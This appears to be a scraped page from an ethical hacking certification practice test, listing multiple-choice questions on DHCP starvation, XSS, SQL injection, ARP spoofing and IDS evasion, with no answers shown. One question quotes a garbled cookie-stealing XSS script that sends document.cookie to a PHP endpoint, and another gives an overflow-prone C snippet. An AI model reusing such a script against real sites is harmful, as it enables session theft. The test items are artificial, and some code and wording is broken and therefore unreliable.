Ethical Hacking v13 - Practice Test 2
Ethical Hacking v13 - Practice Test 2
Ethical Hacking v13 - Practice Test 2
-
- 1 / 151
-
Flashcards
During an internal penetration test within a large corporate environment, the red team gains access to an unrestricted network port in a public-facing meeting room. Upon connecting a laptop, the tester deploys an automated tool configured to continuously send DHCPDISCOVER requests using thousands of randomly generated spoofed MAC addresses. Within minutes, several employees report that their devices are unable to access the internal network or obtain valid IP configurations. The IT team observes that the DHCP server’s IP lease pool is completely depleted, even though few devices are actually connected at the time.
What type of attack did the penetration tester perform?
Judy created a forum. One day, she discovers that a user is posting strange images without writing comments. She immediately calls a security expert, who discovers that the following code is hidden behind those images:
<script>
document.write('>img.src="https://localhost/submitcookie.php? cookie ='+ escape (document.cookie) +"' />);
</script>
What issue occured for the users who clicked on the imgage?
A penetration tester is hired to legally assess the security of a company’s network by identifying vulnerabilities and attempting to exploit them.
What type of hacker is this?
A penetration tester performs a vulnerability scan on a company’s network and identifies a critical vulnerability related to an outdated version of a database server.
What should the tester prioritize as the next step?
A penetration tester targets a company’s executive assistants by referencing upcoming board meetings in an email requesting access to confidential agendas.
What is the most effective social engineering technique to obtain the necessary credentials without raising suspicion?
A penetration tester submits altered ciphertexts to a web server and pays close attention to how the server responds. When the server produces different error messages for certain inputs, the tester starts to infer which inputs result in valid internal processing.
Which cryptanalytic method is being used in this scenario?
Steve, a scientist who works in a governmental security agency, developed a technological solution to identify people based on walking patterns and implemented this approach to a physical control access.
A camera captures people walking and identifies the individuals using Steve's approach. After that, people must approximate their RFID badges.
Both the identifications are required to open the door. In this case, we can say:
A penetration tester suspects that a web application’s product search feature is vulnerable to SQL injection. The tester needs to confirm this by manipulating the SQL query.
What is the best technique to test for SQL injection?
During a physical penetration test simulating a social engineering attack, a threat actor walks into the lobby of a target organization dressed as a field technician from a known external vendor. Carrying a fake ID badge and referencing a known company name, the attacker confidently claims they’ve been dispatched to perform a routine server room upgrade. Using internal-sounding terminology and referencing real employee names gathered via OSINT, the individual conveys urgency. The receptionist, recognizing the vendor name and the convincing language, allows access without verifying the credentials.
During routine network monitoring, the blue team notices several LLMNR and NBT-NS broadcasts originating from a workstation attempting to resolve an internal hostname. They also observe suspicious responses coming from a non-corporate IP address that claims to be the requested host. Upon further inspection, the security team suspects that an attacker is impersonating network resources to capture authentication attempts.
What type of password-cracking setup is likely being staged?
During an internal security assessment of a medium-sized enterprise network, a security analyst notices an unusual spike in ARP traffic. Closer inspection reveals that one particular MAC address is associated with multiple IP addresses across different subnets. The ARP packets were unsolicited replies rather than requests, and several employees from different departments have reported intermittent connection drops, failed logins, and broken intranet sessions. The analyst suspects an intentional interference on the local network segment.
What is the most likely cause of this abnormal behavior?
A hacker is analyzing a system that uses two rounds of symmetric encryption with different keys. To speed up key recovery, the attacker encrypts the known plaintext with all possible values of the first key and stores the intermediate ciphertexts. Then, they decrypt the final ciphertext using all possible values of the second key and compare the results to the stored values.
Which cryptanalytic method does this approach represent?
During a black-box internal penetration test, a security analyst is tasked with identifying potentially exploitable services running on an SNMP-enabled Linux server. The target organization uses SNMPv2, and the default community string “public” has not been changed. The analyst confirms that UDP port 161 is open and accessible. To gather service-related intelligence for privilege escalation or lateral movement, the analyst decides to enumerate all running processes on the host.
Which Nmap command would most effectively retrieve the required information?
A cybersecurity research team identifies suspicious behavior on a user’s Android device. Upon investigation, they discover that a seemingly harmless app, downloaded from a third-party app store, has silently overwritten several legitimate applications such as WhatsApp and SHAREit. These fake replicas maintain the original icon and user interface but serve intrusive advertisements and covertly harvest credentials and personal data in the background. The attackers achieved this by embedding malicious code in utility apps like video editors and photo filters, which users were tricked into installing. The replacement occurred without user consent, and the malicious code communicates with a command-and-control (C&C) server to execute further instructions.
What type of attack is being carried out in this scenario?
While evaluating a smart card implementation, a security analyst observes that an attacker is measuring fluctuations in power consumption and timing variations during encryption operations on the chip. The attacker uses this information to infer secret keys used within the device.
What type of exploitation is being carried out?
A company hires a hacker to test its network security by simulating real-world attacks. The hacker has permission and operates within legal boundaries.
What is this type of hacker called?
A security analyst investigates unusual east-west traffic on a corporate network. A previously unknown MAC address is found actively communicating from a port connected to a trusted desktop. On closer inspection, a small computing device (Raspberry Pi) was physically inserted between the switch and the legitimate machine. This setup allows the rogue device to piggyback onto the network using the identity and privileges of the authenticated workstation without triggering any authentication processes or alarms.
Which evasion technique is being used to blend unauthorized traffic with legitimate access?
A penetration tester discovers malware on a system that disguises itself as legitimate software but performs malicious actions in the background.
What type of malware is this?
A company's policy requires employees to perform file transfers using protocols which encrypt traffic. You suspect some employees are still performing file transfers using unencrypted protocols because the employees do not like changes. You have positioned a network sniffer to capture traffic from the laptops used by employees in the data ingest department.
Using Wireshark to examine the captured traffic, which command can be used as a display filter to find unencrypted file transfers?
A penetration tester discovers that a web application is using outdated SSL/TLS protocols (TLS 1.0) to secure communication.
What is the most effective way to exploit this vulnerability?
During a red team simulation, an attacker attempts to deliver a payload to a web server hosted within a segmented enterprise network. The target environment uses a Network-based Intrusion Detection System (NIDS) that performs deep packet inspection and pattern matching against known attack signatures. To avoid triggering alarms, the attacker decides to manipulate the structure of the packets rather than the actual attack code. The approach involves crafting packets with intentionally malformed checksums and modifying specific fields so that the packets are accepted by the IDS but discarded by the destination system. This leads the IDS to process and log a different set of data than what the actual target receives, effectively bypassing signature detection.
Which evasion technique is the attacker employing to deceive the IDS into misinterpreting the attack traffic while the payload remains unchanged on the target system?
A penetration tester discovers that a web application is vulnerable to Local File Inclusion (LFI) due to improper input validation in a URL parameter.
Which approach should the tester take to exploit this vulnerability?
An organization is performing a vulnerability assessment for mitigating threats. James, a pen tester, scanned the organization by building an inventory of the protocols found on the organization's machines to detect which ports are attached to services such as an email server, a web server, or a database server. After identifying the services, he selected the vulnerabilities on each machine and started executing only the relevant tests.
What is the type of vulnerability assessment solution that James employed in the above scenario?
A security analyst discovers that an attacker has compromised a web application by exploiting improper input validation. The attacker injected malicious code that gets executed in the context of other users' browsers when they visit the affected page.
Which type of attack has most likely occurred?
Which of the following programming languages is most susceptible to buffer overflow attacks, due to its lack of a built-in bounds checking mechanism?
Code:
#include >string.h> int main () { char buffer[8];
strcpy(buffer, ""111111111111111111111111111111"");} Output: Segmentation fault
A penetration tester is targeting a wireless network secured with WPA2-PSK. The tester captures the handshake but wants to speed up the process of cracking the pre-shared key.
Which approach would be most effective?
A penetration tester evaluates a company’s secure web application, which uses HTTPS, secure cookie flags, and strict session management to prevent session hijacking.
To bypass these protections and hijack a legitimate user’s session without detection, which advanced technique should the tester employ?
During an internal assessment, a penetration tester gains access to a hash dump containing NTLM password hashes from a compromised Windows system. To crack the passwords efficiently, the tester uses a high-performance CPU setup with the hashcat tool, configuring it to attempt millions of password combinations per second using a known hash algorithm. This setup drastically reduces the time required for password recovery compared to CPU-based cracking methods.
Which technique is being optimized in this scenario?
During a red team operation on a segmented enterprise network, the testers discover that the organization’s perimeter devices are configured to deeply inspect only connection initiation packets, especially TCP SYNs and HTTP requests. However, response traffic and acknowledgment packets within ongoing sessions are allowed with minimal inspection. The red team needs to covertly transmit payloads to an internal compromised host using a method that blends into existing session traffic and avoids detection.
Which approach should they take to bypass these defensive mechanisms?
A penetration tester suspects that a web application’s login form is vulnerable to SQL injection due to improper sanitization of user input.
What is the most appropriate approach to test for SQL injection in the login form?
A penetration tester evaluates the security of an iOS mobile application that handles sensitive user information. The tester discovers that the application is vulnerable to insecure data transmission.
What is the most effective method to exploit this vulnerability?
A penetration tester finds malware that spreads across a network without user interaction, replicating itself from one machine to another.
What type of malware is this?
As an IT technician in a small software development company, you are tasked with providing security against different kinds of cyber threats. You learn about various methods hackers might use to bypass your company’s firewalls.
Which of the following is a common technique used by attackers to evade firewall detection?
A penetration tester suspects that the web application’s “Order History” page is vulnerable to SQL injection because it displays user orders based on an unprotected user ID parameter in the URL.
What is the most appropriate approach to test this?
During a red team assessment, an ethical hacker is assigned the task of mapping a large multinational enterprise’s external attack surfaces. The target organization operates multiple regional websites and cloud-hosted environments under different subdomains. Due to strict rules of engagement, the hacker must avoid any active scans or probes that could alert the organization’s security monitoring systems. The goal is to uncover as many publicly exposed subdomains as possible to identify potential unpatched or misconfigured services that may exist under obscure or forgotten subdomains.
Which method should the ethical hacker use to passively enumerate the organization’s subdomains?
A penetration tester needs to identify open ports and services on a target network without triggering the organization’s intrusion detection systems, which are configured to detect high-volume traffic and common scanning techniques. To achieve stealth, the tester decides to use a method that spreads out the scan over an extended period.
Which scanning technique should the tester employ to minimize the risk of detection?
An attacker is analyzing traffic from a mobile app and finds that sensitive data like session tokens are being transmitted over HTTP instead of HTTPS. The attacker plans to intercept and manipulate the data during transmission.
Which vulnerability is the attacker exploiting?
A penetration tester is hired by a company to assess its vulnerability to social engineering attacks targeting its IT department. The tester decides to use a sophisticated pretext involving technical jargon and insider information to deceive employees into revealing their network credentials.
What is the most effective social engineering technique the tester should employ to maximize the chances of obtaining valid credentials without raising suspicion?
A penetration tester suspects that a web application’s user profile page is vulnerable to SQL injection, as it uses the userID parameter in SQL queries without proper sanitization.
Which technique should the tester use to confirm the vulnerability?
SQL injection (SQLi) attacks attempt to inject SQL syntax into web requests, which may bypass authentication and allow attackers to access and/or modify data attached to a web application.
Which of the following SQLi types leverages a database server's ability to make DNS requests to pass data to an attacker?
